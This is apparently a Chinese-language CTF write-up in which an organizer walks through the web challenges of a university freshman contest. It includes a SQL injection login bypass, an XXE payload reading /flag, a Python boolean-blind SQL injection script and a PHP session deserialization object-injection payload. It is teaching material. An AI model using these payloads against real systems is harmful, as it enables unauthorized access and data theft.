学校有史以来第一次这么简单的新生赛,我承担平台的运维和web出题。
第一次出这么多题,虽然题目难度都不大,不过折腾和搞平台环境还是花了不少精力,目的在于三点:
- 希望CTF能在学校更普及
- 希望能找到有兴趣和有毅力的学弟学妹
- 题目很多都是来自入门文档的知识点,看过的一定很容易做出来,希望新同学能认真看资料
题目开源地址:https://github.com/Anthem-whisper/0xGame2020
所有题目环境:https://shimo.im/docs/8hkRHdRDdWyKycyK
因为是自费运营,还请师傅们不要恶意破坏环境
第一周
题目都是最简单的入门题目,也不涉及web漏洞,没什么好说的。主要考察同学们配置环境的动手能力。
第二周
出了一道很简单的SQL注入,
核心是要猜测登录时所拼接的sql语句:
$sql = "select username from user where username='". $username ."' and password='". $password ."';";
没有任何waf,在用户名处输入admin' or 1=1#
搞定,由于#符号把后面的语句注视掉了,实际上sql语句实际上变成了:
select username from user where username='admin' or 1=1
1=1是永远成立的,所以必然能返回大于一行的数据,也就是 mysql_num_rows($res)>0,就可以获得flag
第三周
一道XXE,一道SQL布尔盲注
inject_me
XXE是去年NCTF2019的原题,我在web入门doc里面写过,并且题目地址和源码我都给了。
在给了hint的情况下这么少的解还是出乎我的意料
由HTTP响应里面返回的标签以及Content-Type是xml格式可以很轻易的百度到XXE这种攻击手段
XXE学习:https://xz.aliyun.com/t/3357
告诉了/flag,那么随手一个payload就出来了:
<?xml version="1.0"?>
<!DOCTYPE dy [
<!ENTITY dy SYSTEM "file:///flag">
]>
<user><username>&dy;</username><password>123</password></user>
close_eyes
布尔盲注很多同学用手打,本来目的是想叫你们去学python的,结果硬是手打出来了,下次出个128位的flag(bushi
本来想稍微加点waf的,后来不想出难了就没加,开SQLmap的莫得灵魂。
布尔盲注学习:https://xz.aliyun.com/t/7169#toc-2
这篇文章不仅仅讲了盲注也讲了其他的一些手法,值得钻研一番
思路就是语句为假的时候(比如我用户名输入1'||1=0#或者乱输一个用户名密码),页面回显“数据库里没你这号人,别想骗劳资.jpg”
为真的时候(比如我输入1'||1=1#)页面回显“数据库有你这号人,那又怎么着?”,根据回显情况的不同,我们就可以判断我们的condition究竟是真还是假。
1'||(condition)#
不断地改变condition就可以查到我们想要的数据;
举个例子:
1'||length(database())>1#
判断数据库名字的长度是不是大于1,页面返回“数据库有你这号人,那又怎么着?”,那么我们就可以确定数据库名字长度大于1。
类似的:
1'||ascii(substr(database(),1,1))=117#
可判断数据库第一个字母是ASCII码为117的字母,也就是‘u'。
也可以使用二分法进行盲注。
exp:
#python3
#wh1sper
import requests
host = 'http://59.110.157.4:30052/login.php'
def mid(bot, top):
return (int)(0.5 * (top + bot))
def sqli():
name = ''
for j in range(1, 250):
top = 126
bot = 32
while 1:
babyselect = 'database()'#user
#babyselect = '(select table_name from information_schema.tables where table_schema=database())'#user
#babyselect = "(select group_concat(column_name) from information_schema.columns " \
# "where table_schema=database() and table_name='user')"#id,username,password
#babyselect = "(select group_concat(password) from user)"#0xGame{blind_sqli_1s_not_hard}
data = {
"password": "1",
"username": "1'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
}
r = requests.post(url=host, data=data)
#print(r.text)
print(data)
if '数据库有你这号人' in r.text:#子查询为真
if top - 1 == bot:
name += chr(top)
print(name)
break
bot = mid(bot, top)
else:
if top - 1 == bot:
name += chr(bot)
print(name)
break
top = mid(bot, top)
if __name__ == '__main__':
sqli()
第四周
broken_motto
session反序列化,也是文档里面出现过的
>>学习链接,建议自己本地动手搭一个环境
在profile.php里面里面有一行注释:
//ini_set('session.serialize_handler','php_serialize');
这行代码使用的Session序列化选择器是php_serialize,注释之后默认使用的是php
两种选择器的不同的处理方式导致了session反序列化的漏洞的产生,存session的时候,存入php_serialize经过serialize()函数序列处理的数组
读取的时候php以键名 + 竖线 + 经过 serialize() 函数序列化的数据处理如果你注册的时候加一个|,他会把|
前面的忽略掉,只反序列化后面的,就可以造成对象注入。
exp:
<?php
class info{
public $admin;
public $username;
public $motto;
}
$pop = new info();
$pop->admin = 1;
echo serialize($pop);
payload:
|O:4:"info":3:{s:5:"admin";i:1;s:8:"username";N;s:5:"motto";N;}
这次比赛总的来说呢,还是很成功的,相信同学们都找到了自己心里一直想追求的方向,当然,比赛中也不乏表现突出的选手,希望你们能坚持下去,去追求更深的技术,更好的未来